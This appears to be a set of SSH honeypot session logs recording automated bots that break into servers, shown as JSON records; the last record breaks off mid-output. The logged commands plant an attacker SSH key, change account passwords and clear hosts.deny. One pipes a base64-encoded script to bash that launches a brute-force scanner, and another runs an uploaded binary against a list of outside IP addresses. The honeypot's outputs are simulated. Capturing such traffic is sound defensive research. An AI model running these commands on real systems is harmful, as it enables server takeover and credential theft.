{"id":"d8b8ffbe-8acf-4f65-911c-25a77eb5612f","name":"ashen-cunning-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"194.156.249.154","src_port":57262,"username":"socks","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":385,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:37:01.791163+00:00","ended_at":"2026-08-20T12:37:01.903396+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3649,"events":[{"seq":1,"at":"2026-08-20T12:36:28.389118+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:36:28.773301+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:36:29.057130+00:00","kind":"output","latency_ms":666,"data":""},{"seq":4,"at":"2026-08-20T12:36:33.081950+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-20T12:36:33.562678+00:00","kind":"output","latency_ms":480,"data":"2"},{"seq":6,"at":"2026-08-20T12:36:33.947720+00:00","kind":"input","latency_ms":null,"data":"echo -e \"socks123\\nwySEqUZ1QdMF\\nwySEqUZ1QdMF\"|passwd|bash"},{"seq":7,"at":"2026-08-20T12:36:34.331195+00:00","kind":"input","latency_ms":null,"data":"echo \"socks123\\nwySEqUZ1QdMF\\nwySEqUZ1QdMF\\n\"|passwd"},{"seq":8,"at":"2026-08-20T12:36:34.716130+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:36:35.314703+00:00","kind":"output","latency_ms":597,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:36:35.710326+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:36:36.428183+00:00","kind":"output","latency_ms":726,"data":"956 0 935 0 0 0"},{"seq":12,"at":"2026-08-20T12:36:36.815575+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:36:37.556770+00:00","kind":"output","latency_ms":741,"data":"-rwxr-xr-x 1 root root 151K Jan 1 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:36:37.941166+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:36:38.773693+00:00","kind":"output","latency_ms":831,"data":"0 1 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:36:39.158946+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:36:40.518915+00:00","kind":"output","latency_ms":1358,"data":" 08:36:42 up 9:26, 1 user, load average: 0.03, 0.05, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nsocks pts/0 203.0.113.1 08:35 0.00s 0.02s 0.00s w"},{"seq":18,"at":"2026-08-20T12:36:40.902580+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:36:40.903183+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:36:41.285319+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:36:41.786029+00:00","kind":"output","latency_ms":499,"data":"1"},{"seq":22,"at":"2026-08-20T12:36:42.170653+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:36:42.171128+00:00","kind":"output","latency_ms":null,"data":"top - 12:36:42 up 9:26, 0 user, load average: 0.21, 0.19, 0.14\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:36:42.555498+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:36:42.556017+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:36:42.942431+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:36:42.943013+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:36:43.328174+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:36:43.328690+00:00","kind":"output","latency_ms":null,"data":"socks"},{"seq":30,"at":"2026-08-20T12:36:43.713110+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:36:44.387110+00:00","kind":"output","latency_ms":674,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:36:44.772698+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:36:45.471851+00:00","kind":"output","latency_ms":698,"data":"24.0G"},{"seq":34,"at":"2026-08-20T12:36:46.856051+00:00","kind":"input","latency_ms":null,"data":"echo \"socks socks123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:36:47.239852+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:36:48.580254+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T12:36:48.657137+00:00","kind":"output","latency_ms":1416,"data":""},{"seq":38,"at":"2026-08-20T12:36:49.181474+00:00","kind":"output","latency_ms":601,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:36:49.566548+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:36:50.461161+00:00","kind":"output","latency_ms":892,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:36:50.844805+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:36:51.228815+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:36:52.129656+00:00","kind":"output","latency_ms":900,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:36:52.515525+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:36:53.061505+00:00","kind":"output","latency_ms":545,"data":"-bash: cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:36:53.450395+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:36:54.009082+00:00","kind":"output","latency_ms":561,"data":""},{"seq":48,"at":"2026-08-20T12:37:01.793159+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:37:01.793944+00:00","kind":"output","latency_ms":null,"data":"socks"}],"credentials":[{"username":"socks","password":"socks123","method":"password","accepted":true,"tier":"other"}]} {"id":"d9b95fa5-86ee-4f4a-9ebd-e1d1f8cad745","name":"cheerful-dapper-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"129.45.84.205","src_port":43772,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &","started_at":"2026-08-20T12:10:14.142670+00:00","ended_at":"2026-08-20T12:10:23.792851+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":875,"events":[{"seq":1,"at":"2026-08-20T12:10:14.137026+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.5270151611794990678/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-20T12:10:14.144299+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.5270151611794990678/sshd;nohup ./.5270151611794990678/sshd 185.148.3.161 117.89.254.46 117.149.196.215 106.75.216.134 182.201.244.26 41.225.238.233 38.12.6.229 103.121.91.144 177.136.246.131 119.96.137.19 198.46.233.54 149.129.236.37 106.13.209.152 106.12.153.211 45.41.207.162 27.156.98.194 210.16.103.246 175.4.52.243 156.227.232.239 51.15.19.10 43.226.44.214 45.8.133.228 116.128.243.59 107.170.23.78 87.120.84.66 180.76.112.121 103.165.11.113 177.74.153.10 134.122.95.87 217.18.94.226 120.48.102.219 23.251.57.59 103.219.32.239 88.151.34.218 118.122.147.195 120.209.186.110 60.165.124.241 143.198.27.218 113.56.35.44 50.6.228.52 191.252.210.242 180.129.222.228 77.246.111.220 202.134.23.229 121.228.250.70 183.224.79.111 160.250.133.79 183.136.170.167 123.58.212.100 41.111.172.25 160.187.174.22 &"},{"seq":3,"at":"2026-08-20T12:10:14.310909+00:00","kind":"output","latency_ms":621,"data":""}],"credentials":[{"username":"root","password":"centos","method":"password","accepted":true,"tier":"other"}]} {"id":"480ec80d-66e2-4856-97dd-06174b2da80f","name":"leafy-freckled-hare","protocol":"ssh","channel_kind":"exec","src_ip":"51.12.221.15","src_port":34716,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":319,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:08:41.365257+00:00","ended_at":"2026-08-20T12:08:41.455427+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3731,"events":[{"seq":1,"at":"2026-08-20T12:08:11.011734+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:08:11.329926+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:08:14.418104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:08:15.036937+00:00","kind":"output","latency_ms":619,"data":"1"},{"seq":5,"at":"2026-08-20T12:08:15.359565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:rffgjvI8OdYC\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:08:15.675146+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:08:15.830865+00:00","kind":"output","latency_ms":473,"data":""},{"seq":8,"at":"2026-08-20T12:08:15.992904+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:08:16.621243+00:00","kind":"output","latency_ms":628,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-20T12:08:16.940169+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:08:17.517016+00:00","kind":"output","latency_ms":576,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:08:17.836628+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:08:18.571448+00:00","kind":"output","latency_ms":733,"data":"-rwxr-xr-x 1 root root 140K Jan 24 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:08:18.890050+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:08:19.909020+00:00","kind":"output","latency_ms":1018,"data":"0 2 * * * /opt/stable/bin/gallop-backup.sh >/var/log/hayloft-backup.log 2>&1\n*/15 * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n@reboot /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:08:20.228445+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:08:21.545759+00:00","kind":"output","latency_ms":1313,"data":" 08:58:12 up 8:58, 1 user, load average: 0.02, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 08:57 0.00s 0.03s 0.00s w"},{"seq":18,"at":"2026-08-20T12:08:21.865294+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:08:21.865858+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:08:22.182824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:08:22.661124+00:00","kind":"output","latency_ms":477,"data":"64"},{"seq":22,"at":"2026-08-20T12:08:22.980359+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:08:22.981004+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:22 up 8:58, 0 user, load average: 0.16, 0.16, 0.13\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 564 free, 392 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:08:23.298552+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:08:23.298857+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:08:23.617066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:08:23.617697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:08:23.936900+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:08:23.937748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:08:24.256717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:08:25.270325+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:08:25.588592+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:08:26.265708+00:00","kind":"output","latency_ms":676,"data":"24G"},{"seq":34,"at":"2026-08-20T12:08:27.377532+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin123.\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:08:27.694136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:08:28.339036+00:00","kind":"output","latency_ms":644,"data":""},{"seq":37,"at":"2026-08-20T12:08:28.790926+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:08:29.526524+00:00","kind":"output","latency_ms":734,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":39,"at":"2026-08-20T12:08:29.845881+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:08:30.642064+00:00","kind":"output","latency_ms":795,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":41,"at":"2026-08-20T12:08:30.960516+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:08:31.277610+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:08:31.876086+00:00","kind":"output","latency_ms":597,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":44,"at":"2026-08-20T12:08:32.193950+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:08:32.783310+00:00","kind":"output","latency_ms":588,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":46,"at":"2026-08-20T12:08:33.103896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:08:33.663419+00:00","kind":"output","latency_ms":558,"data":""},{"seq":48,"at":"2026-08-20T12:08:41.367637+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:08:41.368743+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin123.","method":"password","accepted":true,"tier":"other"}]} {"id":"22acd34e-8908-48df-b288-564e100821a1","name":"whispering-gilded-camel","protocol":"ssh","channel_kind":"exec","src_ip":"52.176.211.73","src_port":35132,"username":"anupam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":135,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:07:15.709568+00:00","ended_at":"2026-08-20T12:07:15.735619+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3632,"events":[{"seq":1,"at":"2026-08-20T12:06:49.966409+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:06:50.101448+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:06:53.130074+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:06:53.873398+00:00","kind":"output","latency_ms":742,"data":"1"},{"seq":5,"at":"2026-08-20T12:06:54.008687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"anupam\\nAAMBcoTdP3ji\\nAAMBcoTdP3ji\"|passwd|bash"},{"seq":6,"at":"2026-08-20T12:06:54.143770+00:00","kind":"input","latency_ms":null,"data":"echo \"anupam\\nAAMBcoTdP3ji\\nAAMBcoTdP3ji\\n\"|passwd"},{"seq":7,"at":"2026-08-20T12:06:54.279717+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T12:06:55.499407+00:00","kind":"output","latency_ms":1219,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T12:06:55.636947+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T12:06:56.329110+00:00","kind":"output","latency_ms":691,"data":"956 0 0 0 0 0"},{"seq":11,"at":"2026-08-20T12:06:56.464744+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T12:06:57.457262+00:00","kind":"output","latency_ms":992,"data":"-rwxr-xr-x 1 root root 142K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T12:06:57.592938+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T12:06:58.821035+00:00","kind":"output","latency_ms":1227,"data":"MAILTO=\"\"\n0 * * * * /opt/stable/bin/muck-out.sh >> /var/log/stable-muck-out.log 2>&1\n15 2 * * * /opt/stable/bin/gallop-backup.sh >> /var/log/hayloft-backup.log 2>&1\n*/10 * * * * /opt/stable/bin/hoofcheck.sh >/dev/null 2>&1\n@reboot /opt/stable/bin/canter-deploy.sh >> /var/log/stable-deploy.log 2>&1"},{"seq":15,"at":"2026-08-20T12:06:58.954903+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T12:06:59.710514+00:00","kind":"output","latency_ms":753,"data":" 11:09:53 up 8:00, 0 users, load average: 0.08, 0.04, 0.01"},{"seq":17,"at":"2026-08-20T12:06:59.843890+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T12:06:59.844795+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T12:06:59.981585+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T12:07:00.636924+00:00","kind":"output","latency_ms":655,"data":"1"},{"seq":21,"at":"2026-08-20T12:07:00.772129+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T12:07:00.772766+00:00","kind":"output","latency_ms":null,"data":"top - 12:07:00 up 8:57, 0 user, load average: 0.2, 0.24, 0.14\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 439 free, 516 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 